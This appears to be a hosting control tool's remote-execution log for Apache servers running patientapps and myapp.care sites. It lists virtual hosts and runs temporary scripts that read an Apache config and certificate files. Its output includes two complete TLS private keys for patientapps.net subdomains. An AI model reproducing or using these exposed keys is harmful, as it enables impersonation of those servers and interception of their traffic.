port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:00:50:
PUT: /tmp/pkp228801
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_cerner_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:00:50:
chmod 755 /tmp/pkp228801; /tmp/pkp228801; rm /tmp/pkp228801
2025-10-11 06:00:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 1680
<VirtualHost *:80>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-11 06:00:50:
PUT: /tmp/pkp626232
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:00:50:
chmod 755 /tmp/pkp626232; /tmp/pkp626232; rm /tmp/pkp626232
2025-10-11 06:00:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt 5361
1b:f2:77:39:b4:3f:67:f3:eb:29:eb:17:db:7a:8c:02
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmZmHTZA86iTLqb3mqdQnW0iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjE4WhcNMjYwMTA5MDUwMjE3WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA0FeY936J7P9SiKbEdp+JiaR3F5c9Zn6zdNlZCDFy2InMo4jf9wK0
JJ4GDMeqj4y96Tt2xPADziFqcf8BcsKjUFIKV9RkOVRZ6Gj49Har/Lf9koRbaH2Z
+5IL2nrAGZYcT9rnUqhci1xKRZPXNPYzIamEQplYYTyDR8JOAc7tQ6TNJBTYavjl
KbSl44k0nXnhQYNZneu+3e63N/+BEy6hGatqN6YlI9HcaaVxjj3rtBvKg76Z44xR
udYbX/uXls8zUK3RaWCTxeuOtleeD/Jm4eqQIaFeKZ8c5tMi99MzchSCO48wQHLf
lghKsA4kccpFy3jW3IaLHBiquW/n90B4fwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBQL+LnevTp5n1F36v5YMzQZKdh1IjAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNS5jcmwwggECBgorBgEEAdZ5AgQC
BIHzBIHwAO4AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnR
24N8AAAEAwBGMEQCIBq27AOnFIxQmltlOZELBpU4VjN/VnxmpejKkScv4kV5AiAC
XLKs6j1rqpxHW9QwcDrycsUbKXmmciRo6g+xwsTiKgB1ABmG1Mcoqm/+ugNveCpN
AZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbh0oAAAQDAEYwRAIgdlz/sGqPmuY920Oa
QZCg7hVzMjTdzv93kV3MY7XB89cCIDypINdLHStYyREySUTVboHr8v6AC6fEQ7Iy
aLh0/m3PMA0GCSqGSIb3DQEBCwUAA4IBAQBY9sAOoEQAOpnOTX4o/W5J4pfTXq+l
k4JZIii2ufUrfGdC3QgRrPtI7qnV+iCdAvK8Jm4+UXcN3prHsWY/z5hakJvqgr4i
UGP32eO1kwPMKm2Vvs9wFFldUdfXuvWt+Plir8dnkDo8M2L0FduLLEpjvI6Fudmk
MJBUQYt4aaBYPqREtkB229AELfJ9NP52F6Jr3ZzZw0R3AK0FWIDxO5U4PdhRXuyJ
UAkEIIDjdloqJDguFQ6D/R9/Zi8KiQSTZC/y0+p2OfDdjeMNMRK7lNi784ercLUD
iihMpwZMsPHSRM+7J5WyX/OlmDvnet4n7K57oSYSp5lqYZr0ZjR7LRNS
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDQV5j3fons/1KI
psR2n4mJpHcXlz1mfrN02VkIMXLYicyjiN/3ArQkngYMx6qPjL3pO3bE8APOIWpx
/wFywqNQUgpX1GQ5VFnoaPj0dqv8t/2ShFtofZn7kgvaesAZlhxP2udSqFyLXEpF
k9c09jMhqYRCmVhhPINHwk4Bzu1DpM0kFNhq+OUptKXjiTSdeeFBg1md677d7rc3
/4ETLqEZq2o3piUj0dxppXGOPeu0G8qDvpnjjFG51htf+5eWzzNQrdFpYJPF6462
V54P8mbh6pAhoV4pnxzm0yL30zNyFII7jzBAct+WCEqwDiRxykXLeNbchoscGKq5
b+f3QHh/AgMBAAECggEAIQ1Ukib8AKI82LsEPgFvU2vJDPAMaJ8/HxGAI2Gc46dw
1JzZUxmVtJ1xPkPK1j0wv7iUTgf5wpDgjzcyZp9kQ1DQnUBvqfysysckf7v36v7R
dpYS3k/WxudThBSnNyfuU+jZe+6DyAQbMFCU+qz4TaXT+rDTKZHtDcxQjc7jKzDH
jw4E+YcpMRmhpP8ylCRHZGyurlZASBs8HrAA+sfrnpc8XdCWCYy7lRB6RMCgOyKx
5PBcKxb2/MhlYPVeA6iJ4EYOe3triD6ggQ61dp+wRMDYxiou5rzv0SqrAjy2vi6/
sPd3Y69Wu3cbH2BWtqtkwpoX38enEfHdFbnj2B49mQKBgQDzHYOVb/KPEnYcq8lh
DtUPZKlefDIgNtdvUVrCmUXpxyiIB6fgWD6W+9h6AnXcPx7TIGqxRX0PcC0FNzy3
oeZFus+AAQh+ok5er2i2O6vXYfNpPUTP5jLNJ8SUiIvdP6op0GMI48KlGshoXO2Z
zpXDvOkwdUEifbQ9boQr3sQFWwKBgQDbYkvsisrICYiuPAmbFuh+bKUdKNe3wkLu
U4VoZrsIEkykKYTI9yNb1yJZfRWfIpQZNCUS9P+SkDHJYKUYg48XkkZz11g63nhb
yfzBVghK/T3najws7sAWkgKozsWAuPcXM1/A9BL6nZPIdZAHq5lG/NYoN14POXEV
B/kQ63+urQKBgQCa5NQAMwoMo8uC6uRsJUIUA6NxYpmhMq/B6ch0saj8kHo/aPlJ
k4+VLLI40jZ7c+/UvhOcDFTosCTO7OmPaeRHywUHXiEmZYyfAQ0rBguvN2YZSAL+
noEBevPhWroZ5cUpzO48LLjH7q9+5q4vT5LV2heMWzh7nDFo7m/hb5XefwKBgBIu
+4wHlPcvkxyd7U3lgC+6YZUhJYAdod6PHaehnC73FVMl/dOKaGvcUQSJ0Zj3DL9q
CwifNe+38+h1EjoN7XZOsXg4iR+YAPHatBBySQ2uH8tmisZOo607PO0w9j3NFu3d
XDpqAIi1NuKOm/mGx5WSr012CV3JrQ3JM2OroVGhAoGBALSKqVxRDws4NF8op7E4
SFeO9ln3bCjQV5at/WdHohDGghvm0Wk5KMzS5jmN727ovGZNMWcKMv/uYtEez5ON
jy/wfFFrG6vNQte+rtQVVkgwMt54AdQ5HbzczFtJ/L6BqgRldraBpbjQPRvO958Q
SB4FFZk1/DlOousvrF1es/IP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-11 06:00:50: Establishing a connection
2025-10-11 06:00:51: Establishing a connection
2025-10-11 06:00:51:
PUT: /tmp/pkp330367
#!/bin/bash
if [ -d "/var/www/patientapps_go/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-11 06:00:51:
chmod 755 /tmp/pkp330367; /tmp/pkp330367; rm /tmp/pkp330367
2025-10-11 06:00:51:
0
2025-10-11 06:01:18: Establishing a connection
2025-10-11 06:01:19:
PUT: /tmp/pkp457532
#!/bin/bash
temp_file=$(mktemp)
TARGET=8da89970bb61038d506425dda08af7c6.crt
cat > $temp_file <<'endmsg'
a9:0c:25:dc:dd:17:ab:2b:fc:96:e4:70:44:9e:08:7a
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBp0VnAU8BDmYQi2PiHI/dK/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjQ4WhcNMjYwMTA5MDUwMjQ3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDO4WnaNtuJLDT/EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnB
uMxmfZ7+WJSPs1rQfSV+jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3
XpvZgu+8UmD2+hvhG9q3QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5
RwIhoL4XsaZMlNBYSDoIOV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz
7qelvWmRCeoJeEiyuPL098w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N
2ukS9dgW+KmzYsItOjqXbDFo5llPAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFLCT4fOdYDPRGPsTFpGs0fjDRTuuMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdHb+hUAAAQD
AEYwRAIgJodojjjvhK5gXk/3m7nc2W0C09Bq3RiGz3v4DNdQPHACIGFk8veWnLb5
MktZvGFguwTnV9cLGP6S+oX8NqLVwXa9AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGZ0dv6QwAABAMARzBFAiEA0lt8E62hqGW1aNr7Im6Avf7m
afBIuPeg6q5bc171YgMCIDW+iHAr5zuNjoU/kVFQeEwTE4ySFfsocJCqyx7czb9f
MA0GCSqGSIb3DQEBCwUAA4IBAQCf279FGzjcU415srR61AdAJHsVOX8jElK9euJH
hdv2JzUs5+760bbjRqC2cEERp3wEgUipn9V46W7XxrrgU4YPAYT7beV/v0Cx5SR2
f3Z0VcaWkf9oITfykT0qIZ6i1LF+X/JINjGmo+KMsuk4AkvufaJq/3HZceTi3yqq
Pshi931UKxsbVQQ1zOTvFmWeAmXGODYzPIPePwOUtkAA1QT3SNeIb95tQQyjgLIW
3Mn3bEjFKfJesUIZge3T7YeNeI5dMWtKjM/JadrgemvDJn5lKi20uYSwQjL6XwbZ
Ox59W8Cj2CTqXwLYVMLDX33a9QrngjfX67xXiNUzOPYuOF7G
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDO4WnaNtuJLDT/
EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnBuMxmfZ7+WJSPs1rQfSV+
jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3XpvZgu+8UmD2+hvhG9q3
QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5RwIhoL4XsaZMlNBYSDoI
OV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz7qelvWmRCeoJeEiyuPL0
98w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N2ukS9dgW+KmzYsItOjqX
bDFo5llPAgMBAAECggEAF6c0GAvvm8ZfJM59WKV55D1wlfvYI0cs65/OsIxMM/7p
zSUzKURZ5o20Nt7vF8TDGed8zNU/y9iTId4FCn4u7uEoDhVurCR3CvdOIQN7K1mg
L2p3VegL9AhDAs1hWkQbLtfoWDSOXXV20z751bxvm0wE3z7fx/8hJcpU4dVytqcp
t/8ZFfnNBAtWBVsgCkZWj1JlEUabZpjb7xSMmT4WlZiEvmgAoZSqE1X7fwQuLgX9
KFjywZNjEENcWO8S/vT9ie3HlPKNoLShHxfllLd9j5DCPVs8rM5jDqsEjMYhwaYZ
bwoTCpSZ9hsJl46qC9F+xz4/8D2VxESyy6saKzoRgQKBgQDvdEESVVtjduW8MYBb
XtlsCtPmuQGDAf2nQHycBvM0c9Vnxg5tJeGrFXsAq7b2hSUO3+kJWwj9yyqwV/YY
w2ZBgpTKRly0y3Lm4Jcp9LQ2OSnwRyFzDhzADx2O6nRAeEt2trwSzVYPKeJbEAbE
ybxO9s8NCZeSklnJi/mOxjCVjwKBgQDdLPWRVnyQtU8JWl+7c4lZtwKzqf+4KizU
25riP/8l8qVP/eEntdb2PVssUcns6RaQk54Q035e80kwmmtJj9T4VJZ8bXNuWNR8
5xLikYP4KNfyCktQgWhTntMv+6sVVMOA/3NZ6Ko8ooDurw1QTvrssSimLbjOCLx2
oqHkL/mgQQKBgEcnElbySi+qGuXrB6se6hhytzit7McTBl52iRCL+CSz7svhTFQe
l4oQ3fX7EGj8c2CSJFsFVAymHE8+NABzv6TjunbIpa+LbN8yCXkMH6ilH9MoL8ZS
gTSIyU24WUb29+WUsxobLeFfnsVUY86B65TDPg8vtHx3RHrhPwyv06v9AoGAO3pT
r3nqlZ+sWX+MLwSq8w1cFKSquAPfen5z8FP1cWcHPbOwUNV9sUpeslRsUOF9x/Nq
lmvJmA8kp4VfRLEBPKbCsUNdv1b0DYK2eWdYbevN5rEN/+BNBe+4KzcqktnwmUgY
5RzEavnoYkeA9Q/IOs6Jd+bjw8RlqiGiF5MvNgECgYA6ZZ8qEEyBJuzgFNLrxSg7
fiHdK+99jJZqg0cgVK74yC/bPsNK6f6o+yrmQzgaTyGPLZK2gOmzkqh3x//yfDg7
vLP19DKBgXkKmfehkULRoirrXH4oo4BxiZ7JAMneeg6CYYtiWlxjK3EwWPg0pkbN
7YN4Gx7cLf0P8OZnauurLQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
